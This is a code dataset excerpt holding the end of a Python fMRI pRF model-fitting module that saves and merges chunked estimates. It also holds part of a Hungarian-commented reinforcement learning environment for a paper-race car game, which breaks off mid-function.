make new variables that are masked \n masked_dict = {}\n \n for k in estimate_keys: \n masked_dict[k] = np.zeros(estimates[k].shape)\n masked_dict[k][:] = np.nan\n\n \n # set limits for xx and yy, forcing it to be within the screen boundaries\n # also for positive pRFs\n\n indices = np.where((~np.isnan(estimates['r2']))& \\\n (estimates['r2']>= rsq_threshold)& \\\n (estimates['x'] <= np.max(x_ecc_lim))& \\\n (estimates['x'] >= np.min(x_ecc_lim))& \\\n (estimates['y'] <= np.max(y_ecc_lim))& \\\n (estimates['y'] >= np.min(y_ecc_lim))& \\\n (estimates['betas']>=0)\n )[0]\n \n # save values\n for k in estimate_keys:\n masked_dict[k][indices] = estimates[k][indices]\n\n # if we want to subselect for an ROI\n if ROI:\n roi_ind = cortex.get_roi_verts(pysub, ROI) # get indices for that ROI\n \n # mask for roi\n for k in estimate_keys:\n masked_dict[k] = masked_dict[k][roi_ind[ROI]]\n \n return masked_dict\n\n\n def save_pRF_model_estimates(self, filename, final_estimates, model_type = 'gauss', grid = False):\n \n \"\"\"\n re-arrange estimates that were masked\n and save all in numpy file\n \n (only works for gii files, should generalize for nii and cifti also)\n \n Parameters\n ----------\n filename : str\n absolute filename of estimates to be saved\n final_estimates : arr\n 2d estimates (datapoints,estimates)\n model_type: str\n model type used for fitting\n \n \"\"\" \n\n # make dir if it doesnt exist already\n os.makedirs(op.split(filename)[0], exist_ok = True)\n \n if model_type == 'gauss':\n\n if self.fit_hrf and not grid:\n np.savez(filename,\n x = final_estimates[..., 0],\n y = final_estimates[..., 1],\n size = final_estimates[..., 2],\n betas = final_estimates[...,3],\n baseline = final_estimates[..., 4],\n hrf_derivative = final_estimates[..., 5],\n hrf_dispersion = final_estimates[..., 6], \n r2 = final_estimates[..., 7])\n \n else:\n np.savez(filename,\n x = final_estimates[..., 0],\n y = final_estimates[..., 1],\n size = final_estimates[..., 2],\n betas = final_estimates[...,3],\n baseline = final_estimates[..., 4],\n r2 = final_estimates[..., 5])\n \n elif model_type == 'css':\n\n if self.fit_hrf and not grid:\n np.savez(filename,\n x = final_estimates[..., 0],\n y = final_estimates[..., 1],\n size = final_estimates[..., 2],\n betas = final_estimates[...,3],\n baseline = final_estimates[..., 4],\n ns = final_estimates[..., 5],\n hrf_derivative = final_estimates[..., 6],\n hrf_dispersion = final_estimates[..., 7], \n r2 = final_estimates[..., 8])\n \n else:\n np.savez(filename,\n x = final_estimates[..., 0],\n y = final_estimates[..., 1],\n size = final_estimates[..., 2],\n betas = final_estimates[...,3],\n baseline = final_estimates[..., 4],\n ns = final_estimates[..., 5],\n r2 = final_estimates[..., 6])\n\n elif model_type == 'dn':\n\n if self.fit_hrf and not grid:\n np.savez(filename,\n x = final_estimates[..., 0],\n y = final_estimates[..., 1],\n size = final_estimates[..., 2],\n betas = final_estimates[...,3],\n baseline = final_estimates[..., 4],\n sa = final_estimates[..., 5],\n ss = final_estimates[..., 6], \n nb = final_estimates[..., 7], \n sb = final_estimates[..., 8], \n hrf_derivative = final_estimates[..., 9],\n hrf_dispersion = final_estimates[..., 10], \n r2 = final_estimates[..., 11])\n \n else:\n np.savez(filename,\n x = final_estimates[..., 0],\n y = final_estimates[..., 1],\n size = final_estimates[..., 2],\n betas = final_estimates[...,3],\n baseline = final_estimates[..., 4],\n sa = final_estimates[..., 5],\n ss = final_estimates[..., 6], \n nb = final_estimates[..., 7], \n sb = final_estimates[..., 8], \n r2 = final_estimates[..., 9])\n\n elif model_type == 'dog':\n\n if self.fit_hrf and not grid:\n np.savez(filename,\n x = final_estimates[..., 0],\n y = final_estimates[..., 1],\n size = final_estimates[..., 2],\n betas = final_estimates[...,3],\n baseline = final_estimates[..., 4],\n sa = final_estimates[..., 5],\n ss = final_estimates[..., 6], \n hrf_derivative = final_estimates[..., 7],\n hrf_dispersion = final_estimates[..., 8], \n r2 = final_estimates[..., 9])\n \n else:\n np.savez(filename,\n x = final_estimates[..., 0],\n y = final_estimates[..., 1],\n size = final_estimates[..., 2],\n betas = final_estimates[...,3],\n baseline = final_estimates[..., 4],\n sa = final_estimates[..., 5],\n ss = final_estimates[..., 6], \n r2 = final_estimates[..., 7])\n\n\n def load_pRF_model_chunks(self, fit_path, fit_model = 'css', fit_hrf = False, basefilename = None, overwrite = False, iterative = True):\n\n \"\"\" \n combine all chunks \n into one single estimate numpy array\n assumes input is whole brain (\"vertex\", time)\n\n Parameters\n ----------\n fit_path : str\n absolute path to files\n fit_model: str\n fit model of estimates\n fit_hrf: bool\n if we fitted hrf or not\n \n Outputs\n -------\n estimates : npz \n numpy array of estimates\n \n \"\"\"\n\n # if we are fitting HRF, then we want to look for those files\n if fit_hrf:\n filename_list = [op.join(fit_path, x) for x in os.listdir(fit_path) if fit_model in x and 'chunk-000' in x and 'HRF' in x]\n else:\n filename_list = [op.join(fit_path, x) for x in os.listdir(fit_path) if fit_model in x and 'chunk-000' in x and 'HRF' not in x]\n \n ## if we defined a base filename that should be used to fish out right estimates\n if basefilename:\n filename = [file for file in filename_list if basefilename in file][0]\n else:\n filename = filename_list[0]\n \n filename = filename.replace('_chunk-000', '')\n\n if not op.exists(filename) or overwrite:\n \n for ch in np.arange(self.total_chunks['pRF']):\n \n # if we are fitting HRF, then we want to look for those files\n if fit_hrf:\n chunk_name_list = [op.join(fit_path, x) for x in os.listdir(fit_path) if fit_model in x and 'chunk-%s'%str(ch).zfill(3) in x and 'HRF' in x]\n else:\n chunk_name_list = [op.join(fit_path, x) for x in os.listdir(fit_path) if fit_model in x and 'chunk-%s'%str(ch).zfill(3) in x and 'HRF' not in x]\n \n ## if we defined a base filename that should be used to fish out right estimates\n if basefilename:\n chunk_name = [file for file in chunk_name_list if basefilename in file][0]\n else:\n chunk_name = chunk_name_list[0]\n\n print('loading chunk %s'%chunk_name)\n chunk = np.load(chunk_name) # load chunk\n \n if ch == 0:\n xx = chunk['x']\n yy = chunk['y']\n\n size = chunk['size']\n\n beta = chunk['betas']\n baseline = chunk['baseline']\n\n if 'css' in fit_model: \n ns = chunk['ns']\n elif fit_model in ['dn', 'dog']:\n sa = chunk['sa']\n ss = chunk['ss']\n \n if 'dn' in fit_model:\n nb = chunk['nb']\n sb = chunk['sb']\n\n rsq = chunk['r2']\n\n if fit_hrf and iterative:\n hrf_derivative = chunk['hrf_derivative']\n hrf_dispersion = chunk['hrf_dispersion']\n else: # assumes standard spm params\n hrf_derivative = np.ones(xx.shape)\n hrf_dispersion = np.zeros(xx.shape) \n\n else:\n xx = np.concatenate((xx, chunk['x']))\n yy = np.concatenate((yy, chunk['y']))\n\n size = np.concatenate((size, chunk['size']))\n\n beta = np.concatenate((beta, chunk['betas']))\n baseline = np.concatenate((baseline, chunk['baseline']))\n\n if 'css' in fit_model:\n ns = np.concatenate((ns, chunk['ns']))\n elif fit_model in ['dn', 'dog']:\n sa = np.concatenate((sa, chunk['sa']))\n ss = np.concatenate((ss, chunk['ss']))\n\n if 'dn' in fit_model:\n nb = np.concatenate((nb, chunk['nb']))\n sb = np.concatenate((sb, chunk['sb']))\n\n rsq = np.concatenate((rsq, chunk['r2']))\n \n if fit_hrf and iterative:\n hrf_derivative = np.concatenate((hrf_derivative, chunk['hrf_derivative']))\n hrf_dispersion = np.concatenate((hrf_dispersion, chunk['hrf_dispersion']))\n else: # assumes standard spm params\n hrf_derivative = np.concatenate((hrf_derivative, np.ones(xx.shape)))\n hrf_dispersion = np.concatenate((hrf_dispersion, np.zeros(xx.shape))) \n \n print('shape of estimates is %s'%(str(xx.shape)))\n\n # save file\n print('saving %s'%filename)\n\n if 'gauss' in fit_model:\n np.savez(filename,\n x = xx,\n y = yy,\n size = size,\n betas = beta,\n baseline = baseline,\n hrf_derivative = hrf_derivative,\n hrf_dispersion = hrf_dispersion,\n r2 = rsq)\n\n elif 'css' in fit_model:\n np.savez(filename,\n x = xx,\n y = yy,\n size = size,\n betas = beta,\n baseline = baseline,\n ns = ns,\n hrf_derivative = hrf_derivative,\n hrf_dispersion = hrf_dispersion,\n r2 = rsq)\n\n elif 'dn' in fit_model:\n np.savez(filename,\n x = xx,\n y = yy,\n size = size,\n betas = beta,\n baseline = baseline,\n sa = sa,\n ss = ss,\n nb = nb,\n sb = sb,\n hrf_derivative = hrf_derivative,\n hrf_dispersion = hrf_dispersion,\n r2 = rsq)\n\n elif 'dog' in fit_model:\n np.savez(filename,\n x = xx,\n y = yy,\n size = size,\n betas = beta,\n baseline = baseline,\n sa = sa,\n ss = ss,\n hrf_derivative = hrf_derivative,\n hrf_dispersion = hrf_dispersion,\n r2 = rsq)\n \n else:\n print('file already exists, loading %s'%filename)\n \n return np.load(filename)\n","sub_path":"analysis/FAM/fitting/prf_model.py","file_name":"prf_model.py","file_ext":"py","file_size_in_byte":53051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"552626723","text":"\"Ez a HPC-s verzio³\"\n\nOnHPC = True\n\nuse_matplotlib = True\n\nif OnHPC:\n # https://stackoverflow.com/questions/9622163/save-plot-to-image-file-instead-of-displaying-it-using-matplotlib\n # cannot use interactive backend\n import matplotlib as mpl\n mpl.use('Agg')\n\nif use_matplotlib:\n import matplotlib.pyplot as plt\n\nimport matplotlib.image as mpimg\nimport numpy as np\nfrom random import randint\nfrom skimage.morphology import disk\nfrom skimage.color import rgb2gray\nfrom math import sqrt\nimport os\nimport pickle\nfrom scipy.spatial.distance import cdist\nimport time\n\nimport tracks\nimport cars\n\nfrom Paper_Config import Config\n\nclass PaperRaceEnv:\n \"\"\"ez az osztály biztosítja a tanuláshoz a környezetet\"\"\"\n\n def __init__(self, track_name, car_name, random_init, \\\n ref_calc='default',\\\n save_env_ref_buffer_dir = './env_ref_buffer', \\\n save_env_ref_buffer_name = 'env_ref_buffer_1', \\\n load_env_ref_buffer='', \\\n load_all_env_ref_buffer_dir='',):\n\n # for logging\n self.log_list = []\n\n self.car_name = car_name\n self.track_name = track_name\n\n trk_pic_file, self.trk_col, self.track_inside_color, self.track_outside_color, self.start_line, self.end_line, self.sections, self.ref_actions = tracks.get_track_params(self.track_name)\n\n if ref_calc == 'default':\n self.set_car('Touring')\n\n self.use_ref_time = False\n\n # 0-ázza a start poz-tól való távolságot a reward fv-hez\n self.steps = 0 # az eddig megtett lépések száma\n\n # a palya hanyad reszet sikerult teljesiteni\n self.game_pos_reward = 0\n # mennyi az eltelt ido\n self.game_time = 0\n # referenciahoz kepest szamitott reward, regi\n self.game_ref_reward = 0\n # teljes reward palya megtetele es ido alapjan\n self.game_reward = 0\n\n self.step_time = 0\n self.last_step_time = 0\n self.last_step_ref_time_diff = 0\n self.step_ref_time_diff = 0\n self.step_pos_reward = 0\n self.step_reward = 0\n\n self.pos_last = 0\n self.v_last = 0\n self.end = False\n self.finish = False\n\n self.section_nr = 0\n\n self.curr_dist_in = 0\n self.curr_pos_in = 0\n self.curr_dist_out = 0\n self.curr_pos_out = 0\n\n # buffer a már lekért és kiszámolt referenciákra, hogy gyorsabb legyen a lekérés\n self.ref_buffer_dir = save_env_ref_buffer_dir\n self.ref_buffer_name = save_env_ref_buffer_name\n\n # referencia buffer inicializalas\n self.ref_buffer = {}\n self.ref_buffer_unsaved = 0\n # self.ref_buffer_load(load_env_ref_buffer, load_all_dir=load_all_env_ref_buffer_dir)\n\n # beolvassa a pályát\n self.trk_pic = mpimg.imread(trk_pic_file)\n self.trk = rgb2gray(self.trk_pic) # szürkeárnyalatosban dolgozunk\n\n self.players = []\n self.players.append(self.Player())\n self.player = self.getplayer()\n\n self.col_in = rgb2gray(np.reshape(np.array(self.track_inside_color), (1, 1, 3)))[0, 0]\n self.col_out = rgb2gray(np.reshape(np.array(self.track_outside_color), (1, 1, 3)))[0, 0]\n\n # Ha be van kapcsolva az autó véletlen pozícióból való indítása, random szakaszból indulunk\n self.random_init = random_init\n\n # A kezdo pozicio a startvonal fele, es onnan 1-1 pixellel \"arrebb\" Azert hogy ne legyen a startvonal es a\n # kezdeti sebesseg metszo.\n # ezen a ponton section_nr = 0, az elso szakasz a listaban (sections) a startvonal\n # A startvonalra meroleges iranyvektor:\n e_start_x = int(np.floor((self.start_line[0] - self.start_line[2])))\n e_start_y = int(np.floor((self.start_line[1] - self.start_line[3])))\n self.e_start_spd = np.array([e_start_y, -e_start_x]) / np.linalg.norm(np.array([e_start_y, -e_start_x]))\n\n # A startvonal közepe:\n self.start_x = int(np.floor((self.start_line[0] + self.start_line[2]) / 2))\n self.start_y = int(np.floor((self.start_line[1] + self.start_line[3]) / 2))\n # A kezdő pozíció, a startvonal közepétől, a startvonalra merőleges irányba egy picit eltolva:\n self.starting_pos = np.array([self.start_x, self.start_y]) + np.array([int(self.e_start_spd[0] * 10), int(self.e_start_spd[1] * 10)])\n\n self.pos = self.starting_pos\n\n #a kezdo sebesseget a startvonalra merolegesre akarjuk:\n self.starting_spd = self.e_start_spd * 150\n self.v = self.starting_spd\n\n self.gg_actions = None # az action-ökhöz tartozó vektor értékeit cash-eli a legelajén és ebben tárolja\n\n # van egy ref... fv. Ahhoz hog az jol mukodjon, kellenek mindig egy \"előző\" lépés ref adatai. Ezek:\n self.prev_dist_in = 0\n self.prev_dist_out = 0\n self.prev_pos_in = np.array([0, 0])\n self.prev_pos_out = np.array([0, 0])\n\n self.dists_in, self.dists_in_pos = self.__get_dists_in(False) # a kezdőponttól való \"távolságot\" tárolja a reward fv-hez\n self.dists_out, self.dists_out_pos = self.__get_dists_out(False) # a kezdőponttól való \"távolságot\" tárolja\n\n self.dist_in_max = len(self.dists_in_pos)\n self.dist_out_max = len(self.dists_out_pos)\n\n # a referencia megallapitashoz meg ugye nem lehet referenciat hasznalni\n self.use_ref_time = False\n\n # ehhez van egy init, ami eloallitja a belso iv menten mert elorehaladast minden lepesben\n self.ref_dist, self.ref_steps = self.__get_ref_dicts(self.ref_actions)\n\n #mostmar hasznalhatjuk referencia szerinti diff szamolasokat\n self.use_ref_time = True\n\n # refference is made now switched to game car\n self.set_car(car_name)\n\n\n def reset(self, drawing = False):\n \"\"\"ha vmiért vége egy menetnek, meghívódik\"\"\"\n # 0-ázza a start poz-tól való távolságot a reward fv-hez\n self.steps = 0 # az eddig megtett lépések száma\n\n # a palya hanyad reszet sikerult teljesiteni\n self.game_pos_reward = 0\n # mennyi az eltelt ido\n self.game_time = 0\n # referenciahoz kepest szamitott reward, regi\n self.game_ref_reward = 0\n # teljes reward palya megtetele es ido alapjan\n self.game_reward = 0\n\n self.step_time = 0\n self.last_step_time = 0\n self.last_step_ref_time_diff = 0\n self.step_ref_time_diff = 0\n self.step_pos_reward = 0\n self.step_reward = 0\n\n self.pos_last = 0\n self.v_last = 0\n self.end = False\n self.finish = False\n\n self.section_nr = 0\n\n self.curr_dist_in = 0\n self.curr_pos_in = 0\n self.curr_dist_out = 0\n self.curr_pos_out = 0\n\n \"\"\"\n # ha a random indítás be van kapcsolva, akkor új kezdő pozíciót választ\n if self.random_init:\n self.starting_pos = self.track_indices[randint(0, len(self.track_indices) - 1)]\n self.prev_dist = self.get_ref_time(self.starting_pos)\n \"\"\"\n if self.random_init:\n self.section_nr = randint(0, len(self.sections) - 2)\n else:\n self.section_nr = 0 # kezdetben a 0. szakabol indul a jatek\n # print(\"SectNr: \", self.section_nr)\n\n self.game_reward = 0\n #drawing\n if drawing:\n self.draw_clear()\n self.draw_track()\n\n def calc_game_reward(self):\n # calculating gmae raward based on position if not completed\n # if completed then reward based in time\n if self.game_pos_reward >= 0.995:\n # if completed the reward is the reciproc of time -> better time means higher points\n self.game_reward = 0.0 + 1000 / self.game_time\n else:\n # if not completed -100 point is the minimal point and 0 if finished track\n self.game_reward = -100.0 + self.game_pos_reward*100.0\n\n def calc_game_ref_time_reward(self, remaining_ref_time):\n self.game_ref_reward += self.step_ref_time_diff\n if self.end:\n self.game_ref_reward = remaining_ref_time * -2.0\n\n def calc_game_position(self):\n # if finish is reached dist maxes can be updated\n if self.finish:\n self.dist_in_max = self.curr_dist_in\n self.dist_out_max = self.curr_dist_out\n\n distinrate = self.curr_dist_in/self.dist_in_max\n distoutrate = self.curr_dist_out/self.dist_out_max\n return min(distinrate, distoutrate)\n\n def getplayer(self, name = 'default'):\n for player in self.players:\n if player.name == name:\n return player\n\n def get_ref_actions(self):\n # passing track action examples\n return tracks.get_ref_actions(self.track_name, self.car_name)\n\n def get_random_ref_actions(self):\n curr_ref_actions = tracks.get_ref_actions(self.track_name, self.car_name)\n # csak egy referencia lepessor van\n return curr_ref_actions[int(np.random.uniform(0, int(curr_ref_actions.shape[0]), 1))]\n\n # it draws the track to a current plot\n def draw_track(self):\n # pálya kirajzolása\n if use_matplotlib:\n plt.imshow(self.trk_pic)\n self.draw_section(self.start_line, color='orange')\n self.draw_section(self.end_line, color='orange')\n\n # it draws all section from self section\n def draw_sections(self):\n # Szakaszok kirajzolása\n for i in range(len(self.sections)):\n X = np.array([self.sections[i][0], self.sections[i][2]])\n Y = np.array([self.sections[i][1], self.sections[i][3]])\n self.draw_section_wpoints(X, Y, color='blue')\n\n # it draws all section from self section\n def draw_sections(self, sections, color):\n # Szakaszok kirajzolása\n for i in range(len(sections)):\n section = sections[i]\n self.draw_section(section, color=color)\n\n # it draws all section from self section\n def draw_section(self, section, color):\n # Szakaszok kirajzolása\n X = np.array([section[0], section[2]])\n Y = np.array([section[1], section[3]])\n self.draw_section_wpoints(X, Y, color=color)\n\n # it clears current plot\n def draw_clear(self):\n if use_matplotlib:\n plt.clf()\n\n # it draws a section to current plot\n def draw_section_wpoints(self, X, Y, color):\n if use_matplotlib:\n plt.plot(X, Y, color=color)\n plt.pause(0.001)\n plt.draw()\n\n # save current figure to file\n def draw_save(self, path = './img/', name = 'figure', count = '', extension = '.png'):\n if use_matplotlib:\n plt.savefig(path + name + count + extension)\n\n # draw info to current plot\n def draw_info(self, X, Y, text):\n if use_matplotlib:\n plt.text(X, Y, text)\n\n def update_side_pos(self, pos):\n self.prev_dist_in = self.curr_dist_in\n self.prev_dist_out = self.curr_dist_out\n self.prev_pos_in = self.curr_pos_in\n self.prev_pos_out = self.curr_pos_out\n self.curr_dist_in, self.curr_pos_in, self.curr_dist_out, self.curr_pos_out = self.get_pos_ref_on_side(pos)\n\n def update_state(self):\n\n # meghivjuk a sectionpass fuggvenyt, hogy megkapjuk szakitottunk-e at szakaszt, es ha igen melyiket,\n # es az elmozdulas hanyad reszenel\n\n # saving variables\n self.last_step_time = self.step_time\n\n crosses, self.step_time, section_nr, start, self.finish = self.sectionpass(self.pos_last, self.v)\n\n if self.finish:\n finish_pos = self.pos_last + self.v * self.step_time\n\n # ha szektor hatart nem ert akkor az ido a lepesido\n if not crosses:\n self.step_time = 1\n\n # megnezzuk palyan van-e es ha lemegya kkor kint vagy bent:\n step_on_track, inside, outside = self.is_on_track(self.pos)\n\n # ha nem ment le elvileg 1, ha lement a palya szeleig eso resz, ha celbaert a celig megtett ido\n self.game_time += self.step_time\n\n # ===================\n # Lépések:\n # ===================\n\n # Ha lemegy a palyarol:\n if not step_on_track:\n last_pos = self.calc_last_point(self.pos_last, self.pos)\n self.update_side_pos(last_pos)\n self.end = True\n # print\n # ha atszakit egy szakaszhatart, es ez az utolso is, tehat pont celbaert es ugy esett le a palyarol:\n if self.finish:\n self.log(\"\\033[91m {}\\033[00m\" .format(\"\\n CELBAERT KI\"), \"game\")\n else:\n self.log(\"\\033[91m {}\\033[00m\".format(\"\\n LEMENT\"), \"game\")\n\n # Ha nem ment ki a palyarol:\n else:\n # ha a 0. szakaszt, azaz startvonalat szakit at (nem visszafordult hanem eleve visszafele indul):\n if (start):\n # szamoljunk megtett palyar a kezdo poziciohoz\n self.update_side_pos(self.starting_pos)\n self.log(\"\\n VISSZAKEZD\", \"game\")\n self.end = True\n\n # ha atszakit egy szakaszhatart, es ez az utolso is, tehat pont celbaert:\n elif self.finish:\n self.update_side_pos(finish_pos)\n self.log(\"\\033[92m {}\\033[00m\".format(\"\\n CELBAERT BE\"), \"game\")\n self.end = True\n # ha barmi miatt az autó megáll, sebessege az alábbinál kisebb, akkor vége\n elif sqrt(self.v[0] ** 2 + self.v[1] ** 2) < 1:\n # mivel nem haladt semmit elore az elozo lepes dist-jei maradhatnak\n self.end = True\n else:\n # igy mar lehet megtett palyat szelet nezni\n self.update_side_pos(self.pos)\n self.end = False\n\n # updatating rewards\n # position based part\n last_game_pos_reward = self.game_pos_reward\n self.game_pos_reward = self.calc_game_position()\n self.step_pos_reward = self.game_pos_reward - last_game_pos_reward\n self.calc_game_reward()\n\n # ha nagyon lassan vagy hatrafele halad szinten legyen vege (egy jo lepes 4-6% ot halad egyenesben\n if self.step_pos_reward < 0.0001:\n self.log(\"\\033[92m {}\\033[00m\".format(\"\\n Vege: tul lassu, vagy hatrafele ment!\"), \"game\")\n self.end = True\n\n # -------- ! ------ modify self.end before this\n\n if self.end:\n self.log('End of game!', \"game\")\n self.log('\\n Reward: ' + '% 3.3f' % self.game_reward, \"game\")\n self.log(' Time: ' + '% 3.3f' % self.game_time, \"game\")\n self.log(' ref_time: ' + '% 3.3f' % self.game_ref_reward, \"game\", now = True)\n\n self.calc_step_reward()\n\n if self.use_ref_time:\n self.calc_ref_time_reward()\n\n def calc_step_reward(self):\n # lepes reward a megtett ut, ha lemegy az -100, ha celbaert akkor azert megkapja a jatek pontot\n if self.end:\n if self.finish:\n # step reward on finish is distance travelled and time reward\n # self.step_reward = self.step_pos_reward * 100.0 + self.game_reward\n self.step_reward = self.step_pos_reward * 100.0 - 100.0\n else:\n # ha lement, tul lassu, visszakezd stb. akkor amit meg a palyan megtett plusz a buntetes\n # kell a palyan megtett mert ket rossz kozul igy el lehet donteni melyik volt kevesbe rossz -> tanulas\n self.step_reward = self.step_pos_reward - 100.0\n else:\n self.step_reward = self.step_pos_reward * 100.0\n\n def calc_ref_time_reward(self):\n # ref time based part\n self.last_step_ref_time_diff = self.step_ref_time_diff\n self.step_ref_time_diff, remaining_ref_time = self.get_time_diff(self.pos_last, self.pos, self.step_time)\n # self.log(\"ref: \" + str(self.step_ref_time_diff) + \" \" + str(remaining_ref_time), \"debug\", now = True)\n self.calc_game_ref_time_reward(remaining_ref_time)\n\n def calc_step(self, gg_action):\n #------------------\n # game phisics\n\n # az aktuális sebesség irányvektora:\n e1_spd_old = self.v / np.linalg.norm(self.v)\n e2_spd_old = np.array([-1 * e1_spd_old[1], e1_spd_old[0]])\n\n # a sebessegvaltozas lokalisban\n gg_action = np.asmatrix(gg_action)\n\n # a sebesseg valtozás globálisban:\n spd_chn_glb = np.round(np.column_stack((e1_spd_old, e2_spd_old)) * gg_action.transpose())\n\n # az új sebességvektor globalisban:\n spd_new = self.v + np.ravel(spd_chn_glb)\n\n # az uj pozicio globalisban:\n pos_new = self.pos + spd_new\n # print(\"PN:\", pos_new, \"PO:\", pos_old)\n\n self.pos_last = self.pos\n self.v_last = self.v\n self.pos = pos_new\n self.v = spd_new\n #------------------\n\n def draw_step(self, draw_text='reward', info_text_X = 1300, info_text_Y = 1000):\n curr_dist_in_old, pos_temp_in_old, curr_dist_out_old, pos_temp_out_old = self.get_pos_ref_on_side(self.pos_last)\n # szakasz hatar\n X = np.array([pos_temp_in_old[0], pos_temp_out_old[0]])\n Y = np.array([pos_temp_in_old[1], pos_temp_out_old[1]])\n self.draw_section_wpoints(X, Y, color='magenta')\n\n X = np.array([self.pos_last[0], self.pos[0]])\n Y = np.array([self.pos_last[1], self.pos[1]])\n self.draw_section_wpoints(X, Y, self.player.color)\n if draw_text == 'time':\n self.draw_info(info_text_X, info_text_Y, 'time:' + str(int(self.game_ref_reward)))\n if draw_text == 'little_time' or draw_text == 'little_reward':\n # a szakasz felezopontjara meroleges vektoron d tavolsagra szoveg kiirasa\n d = 10\n tmp1 = (X[1] - X[0]) * 0.5\n tmp2 = (Y[1] - Y[0]) * 0.5\n h = d / max(sqrt(tmp1 ** 2 + tmp2 ** 2), 0.01)\n text_X = X[0] + tmp1 - tmp2 * h\n text_Y = Y[0] + tmp2 + tmp1 * h\n if draw_text == 'little_time':\n self.draw_info(text_X, text_Y, str('%.3f' % self.step_ref_time_diff))\n elif draw_text == 'little_reward':\n self.draw_info(text_X, text_Y, str('% 2.1f' % (self.step_pos_reward * 100)))\n else:\n self.draw_info(info_text_X, info_text_Y, draw_text)\n\n def step(self, action, draw, draw_text='reward', draw_info_X = 1300, draw_info_Y = 1000, player='default'):\n\n # change player if necessary\n if player != self.player.name:\n self.player = self.getplayer(player)\n\n self.log('\\n --' + self.player.name + ': ', \"step\")\n self.log(' ' + str(action), \"step\")\n else:\n self.log(str(action) + ', ', \"step\")\n # print(\"\\033[93m {}\\033[00m\".format(\" -------ref action:\"), a)\n\n #action = spd_chn\n\n action = max(min(action, 180), -180)\n\n gg_action = self.gg_action(action)\n\n self.calc_step(gg_action)\n\n self.update_state()\n\n # Ha akarjuk, akkor itt rajzoljuk ki az aktualis lepes abrajat (lehet maskor kene)\n if draw: # kirajzolja az autót\n self.draw_step(draw_text, draw_info_X, draw_info_Y)\n\n return self.v, self.pos, self.step_reward, self.step_pos_reward\n\n def getstate(self):\n return self.end, self.step_time, self.step_ref_time_diff, self.game_reward, self.game_ref_reward\n\n\n def is_on_track(self, pos):\n \"\"\" a pálya színe és a pozíciónk pixelének színe alapján visszaadja, hogy rajta vagyunk -e a pályán, illetve kint\n vagy bent csusztunk le rola... Lehetne tuti okosabban mint ahogy most van.\"\"\"\n\n # meg kell nezni egyatalan a palya kepen belul van-e a pos\n # print(pos)\n if int(pos[1]) > (self.trk_pic.shape[0] - 1) or int(pos[0]) > (self.trk_pic.shape[1] - 1):\n inside = True\n outside = True\n ontrack = False\n else:\n inside = False\n outside = False\n ontrack = True\n\n if np.array_equal(self.trk_pic[int(pos[1]), int(pos[0])], self.track_inside_color):\n inside = True\n if np.array_equal(self.trk_pic[int(pos[1]), int(pos[0])], self.track_outside_color):\n outside = True\n if inside or outside:\n ontrack = False\n\n \"\"\"\n if pos[0] > np.shape(self.trk_pic)[1] or pos[1] > np.shape(self.trk_pic)[0] or pos[0] < 0 or pos[1] < 0 or np.isnan(pos[0]) or np.isnan(pos[1]):\n ontrack = False\n else:\n ontrack = np.array_equal(self.trk_pic[int(pos[1]), int(pos[0])], self.trk_col)\n \"\"\"\n\n return ontrack, inside, outside\n\n def set_car(self, car_name):\n file = cars.get_car_params(car_name)\n self.gg_pic = mpimg.imread(file)\n self.car_name = car_name\n\n def get_ref_actions(self):\n return np.array(tracks.get_ref_actions(self.track_name, self.car_name))\n\n def gg_action(self, action):\n # az action-ökhöz tartozó vektor értékek\n # első futáskor cash-eljúk\n\n if self.gg_actions is None:\n self.gg_actions = [None] * 361 # -180..180-ig, fokonként megnézzük a sugarat.\n for act in range(-180, 181):\n if -180 <= act <= 180:\n # a GGpic 41x41-es B&W bmp. A közepétől nézzük, meddig fehér. (A közepén,\n # csak hogy látszódjon, van egy fekete pont!\n xsrt, ysrt = 21, 21\n r = 1\n pix_in_gg = True\n x, y = xsrt, ysrt\n while pix_in_gg:\n # lépjünk az Act irányba +1 pixelnyit, mik x és y ekkor:\n #rad = np.pi / 4 * (act + 3)\n rad = (act+180) * np.pi / 180\n y = ysrt + round(np.sin(rad) * r)\n x = xsrt + round(np.cos(rad) * r)\n r = r + 1\n\n # GG-n belül vagyunk-e még?\n pix_in_gg = np.array_equal(self.gg_pic[int(x - 1), int(y - 1)], [255, 255, 255, 255])\n\n self.gg_actions[act - 1] = (-(x - xsrt), y - ysrt)\n else:\n self.gg_actions[act - 1] = (0, 0)\n\n return self.gg_actions[action - 1]\n\n # jatek inditasa\n def start_game(self, player='last'):\n self.log('\\nNew game started!', \"game\")\n # change player if necessary\n if (player != self.player.name and player != 'last'):\n self.player = self.getplayer(player)\n self.log('\\n --' + self.player.name + ': ', \"game\")\n self.log('\\n ', \"game\")\n # kezdeti sebeesseg, ahogy a kornyezet adja\n self.v = np.array(self.starting_spd)\n\n # sebesség mellé a kezdeti poz. is kell. Ez a kezdőpozíció beállítása:\n self.pos = np.array(self.starting_pos)\n\n self.curr_dist_in, self.curr_pos_in, self.curr_dist_out, self.curr_pos_out = self.get_pos_ref_on_side(self.pos)\n\n return self.pos, self.v\n\n # give section with 2 points, a point and a speed vector, if it goes through this sections returns true\n def check_if_crossed(self, pos, spd, section):\n v1y = section[2] - section[0]\n v1z = section[3] - section[1]\n v2y = spd[0]\n v2z = spd[1]\n\n p1y = section[0]\n p1z = section[1]\n p2y = pos[0]\n p2z = pos[1]\n\n t1=0\n t2=0\n\n cross=False\n\n # mielott vizsgaljuk a metszeseket, gyorsan ki kell zarni, ha a parhuzamosak a vizsgalt szakaszok\n # ilyenkor 0-val osztas lenne a kepletekben\n if -v1y * v2z + v1z * v2y == 0:\n cross = False\n # Amugy mehetnek a vizsgalatok\n else:\n \"\"\"\n t2 azt mondja hogy a p1 pontbol v1 iranyba indulva v1 hosszanak hanyadat kell megtenni hogy elerjunk a \n metszespontig. Ha t2=1 epp v2vegpontjanal van a metszespopnt. t1,ugyanez csak p1 es v2-vel.\n \"\"\"\n t2 = (-v1y * p1z + v1y * p2z + v1z * p1y - v1z * p2y) / (-v1y * v2z + v1z * v2y)\n t1 = (p1y * v2z - p2y * v2z - v2y * p1z + v2y * p2z) / (-v1y * v2z + v1z * v2y)\n\n \"\"\"\n Annak eldontese hogy akkor az egyenesek metszespontja az most a\n szakaszokon belulre esik-e: Ha mindket t, t1 es t2 is kisebb mint 1 és\n nagyobb mint 0\n \"\"\"\n cross = (0 < t1) and (t1 < 1) and (0 < t2) and (t2 < 1)\n\n return cross, t2\n\n def sectionpass(self, pos, spd):\n \"\"\"\n Ha a Pos - ból húzott Spd vektor metsz egy szakaszt(Szakasz(!),nem egynes) akkor crosses = 1 - et ad 